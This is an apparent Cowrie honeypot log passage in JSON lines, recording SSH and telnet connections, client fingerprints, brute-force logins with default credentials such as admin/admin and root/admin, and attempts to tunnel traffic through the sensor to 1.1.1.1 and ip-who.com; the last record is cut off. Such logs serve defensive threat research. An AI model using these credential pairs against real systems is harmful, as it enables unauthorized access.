{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":13525,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f307929e7f0","protocol":"telnet","message":"New connection: 212.55.149.117:13525 (10.17.0.5:23) [session: 7f307929e7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:32:53.415388Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6692,"dst_ip":"10.17.0.5","dst_port":22,"session":"54c72f09ad77","protocol":"ssh","message":"New connection: 87.251.64.176:6692 (10.17.0.5:22) [session: 54c72f09ad77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:05.059510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:05.067628Z","src_ip":"87.251.64.176","session":"54c72f09ad77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:05.164979Z","src_ip":"87.251.64.176","session":"54c72f09ad77","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:05.459750Z","src_ip":"87.251.64.176","session":"54c72f09ad77","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:05.558667Z","session":"54c72f09ad77","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:05.670612Z","src_ip":"87.251.64.176","session":"54c72f09ad77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:05.769939Z","src_ip":"87.251.64.176","session":"54c72f09ad77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.193.85","src_port":33920,"dst_ip":"159.203.135.109","dst_port":22,"session":"34324625a565","protocol":"ssh","message":"New connection: 171.231.193.85:33920 (159.203.135.109:22) [session: 34324625a565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:24.416610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:24.421472Z","src_ip":"171.231.193.85","session":"34324625a565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":21715,"dst_ip":"10.17.0.5","dst_port":23,"session":"9361cf4d8e44","protocol":"telnet","message":"New connection: 212.55.149.117:21715 (10.17.0.5:23) [session: 9361cf4d8e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:24.493985Z"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:24.770438Z","src_ip":"171.231.193.85","session":"34324625a565","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:25.890322Z","src_ip":"171.231.193.85","session":"34324625a565","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"171.231.193.85","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:26.149683Z","session":"34324625a565","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:26.403440Z","src_ip":"171.231.193.85","session":"34324625a565","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:26.407083Z","src_ip":"171.231.193.85","session":"34324625a565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:26.666179Z","src_ip":"171.231.193.85","session":"34324625a565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.76826882362366,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:50.947342Z","src_ip":"212.55.149.117","session":"90a1ed4b5e3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.50539493560791,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:33:55.920643Z","src_ip":"212.55.149.117","session":"7f307929e7f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":25394,"dst_ip":"10.17.0.5","dst_port":23,"session":"2424a7b6ae8b","protocol":"telnet","message":"New connection: 212.55.149.117:25394 (10.17.0.5:23) [session: 2424a7b6ae8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:09.094100Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":59044,"dst_ip":"10.17.0.5","dst_port":22,"session":"194be80d9492","protocol":"ssh","message":"New connection: 193.32.162.145:59044 (10.17.0.5:22) [session: 194be80d9492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:14.381045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:14.387013Z","src_ip":"193.32.162.145","session":"194be80d9492","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:14.492967Z","src_ip":"193.32.162.145","session":"194be80d9492","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sollet","password":"sollet","message":"login attempt [sollet/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:14.810272Z","src_ip":"193.32.162.145","session":"194be80d9492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:15.926116Z","src_ip":"193.32.162.145","session":"194be80d9492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.89348292350769,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:24.387350Z","src_ip":"212.55.149.117","session":"9361cf4d8e44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.193","src_port":5370,"dst_ip":"159.203.135.109","dst_port":23,"session":"4096958c4855","protocol":"telnet","message":"New connection: 66.132.186.193:5370 (159.203.135.109:23) [session: 4096958c4855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:29.584804Z"}
{"eventid":"cowrie.session.closed","duration":15.393043518066406,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:44.977732Z","src_ip":"66.132.186.193","session":"4096958c4855","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.193","src_port":45952,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4dd4f389ded","protocol":"telnet","message":"New connection: 66.132.186.193:45952 (159.203.135.109:23) [session: b4dd4f389ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:49.088841Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":49014,"dst_ip":"10.17.0.5","dst_port":22,"session":"072fbe124506","protocol":"ssh","message":"New connection: 2.57.122.210:49014 (10.17.0.5:22) [session: 072fbe124506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:51.592726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:51.643548Z","src_ip":"2.57.122.210","session":"072fbe124506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:51.773475Z","src_ip":"2.57.122.210","session":"072fbe124506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"solana","message":"login attempt [ubnt/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:52.300660Z","src_ip":"2.57.122.210","session":"072fbe124506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.2951929569244385,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:53.383900Z","src_ip":"66.132.186.193","session":"b4dd4f389ded","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:53.420465Z","src_ip":"2.57.122.210","session":"072fbe124506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43178,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1eaa151cad4","protocol":"ssh","message":"New connection: 103.15.226.202:43178 (10.17.0.5:22) [session: a1eaa151cad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:54.875555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:54.880867Z","src_ip":"103.15.226.202","session":"a1eaa151cad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:55.126289Z","src_ip":"103.15.226.202","session":"a1eaa151cad4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456789","message":"login attempt [root/a123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:55.853547Z","src_ip":"103.15.226.202","session":"a1eaa151cad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:57.097999Z","src_ip":"103.15.226.202","session":"a1eaa151cad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.193","src_port":40648,"dst_ip":"159.203.135.109","dst_port":23,"session":"30c30c973ccd","protocol":"telnet","message":"New connection: 66.132.186.193:40648 (159.203.135.109:23) [session: 30c30c973ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:34:57.816873Z"}
{"eventid":"cowrie.session.closed","duration":10.715200662612915,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:35:08.531955Z","src_ip":"66.132.186.193","session":"30c30c973ccd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.65597677230835,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:35:08.749935Z","src_ip":"212.55.149.117","session":"2424a7b6ae8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":1548,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f78fabdceec","protocol":"telnet","message":"New connection: 212.55.149.117:1548 (10.17.0.5:23) [session: 2f78fabdceec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:35:36.130958Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":5548,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b78e9f3b8db","protocol":"telnet","message":"New connection: 212.55.149.117:5548 (10.17.0.5:23) [session: 9b78e9f3b8db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:35:42.289463Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":23549,"dst_ip":"10.17.0.5","dst_port":23,"session":"91953f95464b","protocol":"telnet","message":"New connection: 212.55.149.117:23549 (10.17.0.5:23) [session: 91953f95464b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:35:43.460110Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.193.85","src_port":49990,"dst_ip":"159.203.135.109","dst_port":22,"session":"c327374b3c63","protocol":"ssh","message":"New connection: 171.231.193.85:49990 (159.203.135.109:22) [session: c327374b3c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:36:06.850708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:36:06.856590Z","src_ip":"171.231.193.85","session":"c327374b3c63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@open